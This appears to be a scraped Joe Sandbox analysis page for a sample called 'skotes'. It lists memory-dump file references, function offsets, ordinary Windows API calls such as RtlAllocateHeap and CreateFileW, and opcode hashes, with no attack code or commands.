Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d0d3aab4d096e8b6a0e8b0e21a48dc8234df5baee901d984c7b543cbc736410b
Instruction ID: 2c616514736dee3f20f68497ccc6e5520aba3dce94d64979846eba9e1d1aa274
Opcode Fuzzy Hash: d0d3aab4d096e8b6a0e8b0e21a48dc8234df5baee901d984c7b543cbc736410b
Instruction Fuzzy Hash: 99512570D002189FEB24EB28CD85BDDB777DB45310F5442A8E819A72C1EF349AC08B95

Function 00647124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0064705B,?,?,00000000,00000000), ref: 00647166

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: a8c9c90ca2a6bf38bd5980093bb8e0ae406d1d72dbf4fdde231c5d60bdd23324
Instruction ID: dc5868c854968e8fc4a36baea08f1da995898b5b3e10c9b1aecae55c176b4521
Opcode Fuzzy Hash: a8c9c90ca2a6bf38bd5980093bb8e0ae406d1d72dbf4fdde231c5d60bdd23324
Instruction Fuzzy Hash: 3611FAB290410DEBDB10DF95C981EDFB7BDAF08354F645266E915E3180EB30EA49CB61

Function 0064AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0064AC8D

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: de42764683fde76fe1f4e86d7ccf88c9394c21f491d043236b19156eae78d688
Instruction ID: 989c4286503d1ee776ca4b42538ff380b6bdd457f55eaeebbd66ec1b8328bfea
Opcode Fuzzy Hash: de42764683fde76fe1f4e86d7ccf88c9394c21f491d043236b19156eae78d688
Instruction Fuzzy Hash: 0A111571A0420AAFDB06DF98E941ADA7BF5EF48304F0440A9F809AB351D670EE25CB65

Function 0064D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0064A813,00000001,00000364,00000006,000000FF,?,0062D3FC,2054CAE1,?,00627A8B,?), ref: 0064D871

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fe475c0c6028c1c4d8235b4b9d36b8ff27b3885f0a83bbaf7f53596cc0ca196c
Instruction ID: cfe3af5aaa182d82b114e7f6bd510e5a9fc0b39ebd0bd087c8a63a18f72b05d3
Opcode Fuzzy Hash: fe475c0c6028c1c4d8235b4b9d36b8ff27b3885f0a83bbaf7f53596cc0ca196c
Instruction Fuzzy Hash: ACF0E232E116246EEB613A729C01BBF375BDF95370B188021FC08AB291DA20EC0186E0

Function 0064B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,2054CAE1,?,?,0062D3FC,2054CAE1,?,00627A8B,?,?,?,?,?,?,00617465,?), ref: 0064B07E

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cfecfb5d1899cf07ecf080c6090349f2dab630fb393d1e943151d7ea7b689a1e
Instruction ID: e2cb37108564eb8d964eaf3ec0c32389af3209cf134d1877958bb167f9c33a6b
Opcode Fuzzy Hash: cfecfb5d1899cf07ecf080c6090349f2dab630fb393d1e943151d7ea7b689a1e
Instruction Fuzzy Hash: 92E0223124022296EB313239CC00BEFB64BCF42BB2F043210FD38A62A0EF60DC0081E4

Function 00651775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00651B65,?,?,00000000,?,00651B65,00000000,0000000C), ref: 00651792

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
